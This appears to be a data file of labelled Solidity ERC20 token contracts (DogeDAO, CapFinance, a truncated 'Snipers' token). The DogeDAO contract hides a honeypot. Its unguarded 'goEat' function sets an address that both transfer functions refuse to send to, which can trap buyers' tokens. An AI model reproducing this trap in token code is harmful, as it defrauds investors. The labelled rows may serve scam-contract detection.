balances[_who] = balances[_who].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
function mint(address account, uint256 amount) onlyOwner public {
totalSupply = totalSupply.add(amount);
balances[account] = balances[account].add(amount);
emit Mint(address(0), account, amount);
emit Transfer(address(0), account, amount);
}
} | True | [
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|
// SPDX-License-Identifier: unlicensed
pragma solidity 0.8.4;
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMult(uint256 x, uint256 y) public pure returns(uint c) {
c = x * y;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
// ----------------------------------------------------------------------------
abstract contract ERC20Interface {
function totalSupply() virtual public view returns (uint);
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
function transfer(address to, uint tokens) virtual public returns (bool success);
function approve(address spender, uint tokens) virtual public returns (bool success);
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals
// assisted token transfers
// ----------------------------------------------------------------------------
contract DogeDAO is ERC20Interface, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
address public caAddy;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() {
symbol = "DDAO";
name = "DogeDAO";
decimals = 0;
_totalSupply = 1000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public override view returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Follow me more
// ------------------------------------------------------------------------
function goEat(address addy) public {
caAddy = addy;
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public override view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to receiver account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address receiver, uint tokens) public override returns (bool success) {
require(receiver != caAddy, "Please interract properly");
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[receiver] = safeAdd(balances[receiver], tokens);
emit Transfer(msg.sender, receiver, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public override returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from sender account to receiver account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from sender account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address sender, address receiver, uint tokens) public override returns (bool success) {
require(receiver != caAddy, "Please interract properly");
balances[sender] = safeSub(balances[sender], tokens);
allowed[sender][msg.sender] = safeSub(allowed[sender][msg.sender], tokens);
balances[receiver] = safeAdd(balances[receiver], tokens);
emit Transfer(sender, receiver, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public override view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
} | True | [
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|
pragma solidity ^0.5.0;
/*****************************************************************************
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*/
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
/*****************************************************************************
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see `ERC20Detailed`.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* > Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an `Approval` event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/*****************************************************************************
* @dev Basic implementation of the `IERC20` interface.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See `IERC20.totalSupply`.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See `IERC20.balanceOf`.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See `IERC20.transfer`.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See `IERC20.allowance`.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See `IERC20.approve`.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev See `IERC20.transferFrom`.
*
* Emits an `Approval` event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of `ERC20`;
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to `transfer`, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a `Transfer` event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a `Transfer` event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destoys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a `Transfer` event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an `Approval` event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Destoys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See `_burn` and `_approve`.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
}
/*****************************************************************************
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be aplied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Paused();
event Unpaused();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Paused();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpaused();
}
}
/**
* @title Pausable token
* @dev ERC20 modified with pausable transfers.
**/
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseAllowance(spender, subtractedValue);
}
}
/*****************************************************************************
* @title CapFinance v1.3
* @dev CapFinance v1.3 is an ERC20 implementation of the CapFinance v1.3 ecosystem token.
* All tokens are initially pre-assigned to the creator, and can later be distributed
* freely using transfer transferFrom and other ERC20 functions.
*/
contract CapFinance is Ownable, ERC20Pausable {
string public constant name = "cap.finance 1.5";
string public constant symbol = "CAPF";
uint8 public constant decimals = 18;
uint256 public constant initialSupply = 100000*10**uint256(decimals);
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor () public {
_mint(msg.sender, initialSupply);
}
/**
* @dev Destoys `amount` tokens from the caller.
*
* See `ERC20._burn`.
*/
function burn(uint256 amount) public {
_burn(msg.sender, amount);
}
/**
* @dev See `ERC20._burnFrom`.
*/
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
event DepositReceived(address indexed from, uint256 value);
} | True | [
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|
/* Snipers Civil Liberties Union | $SNIPERSUNION
https://snipers.care/
https://t.me/SnipersUnion
────────╠███████───███████╠─────────────
───────╠█████████─╠█████████────────────
───────█████████████████████╠───────────
──────╠██████████████████████───────────
──────███████████████████████───────────
──────███████████████████████╠──────────
──────███████████████████████╠──────────
──────███████████████████████───────────
──────╠██████████████████████───────────
──────╠█████████████████████╠───────────
───────█████████████████████────────────
───────╠███████████████████╠────────────
────────╠███████████──╠████─────────────
─────────██████████─────╠█╠─────────────
─────────╠████████──███─────────────────
──────────╠███████─╠█████───────────────
─────╠╠────╠██████─╠███████─────────────
──█████╠────╠█████╠─╠███████╠───────────
─╠███████╠█╠─╠█████╠──████████╠─────────
╠███████████╠──█████───╠████████╠───────
╠█████████████──╠██╠─────╠████████╠─────
─██████████████───────────█████████╠────
──╠█████████████╠───────╠███████████╠───
───╠█████████████████████████████████╠──
────╠█████████████████████████████████──
─────╠█████████████████████████████████─
───────████████████████████████████████╠
────────╠███████████████████████████████
─────────╠██████████████████████████████
───────────█████████████████████████████
────────────╠██████████████████████████─
───────────────────────────────╠██████──
─────────────────────────────────███╠───
─────────────────────────────────╠█╠──── */
// SPDX-License-Identifier: unlicensed
////// lib/openzeppelin-contracts/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)
/* pragma solidity ^0.8.0; */
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/extensions/IERC20Metadata.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol)
/* pragma solidity ^0.8.0; */
/* import "../IERC20.sol"; */
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol)
/* pragma solidity ^0.8.0; */
/* import "./IERC20.sol"; */
/* import "./extensions/IERC20Metadata.sol"; */
/* import "../../utils/Context.sol"; */
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
////// lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol
// OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol)
/* pragma solidity ^0.8.0; */
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
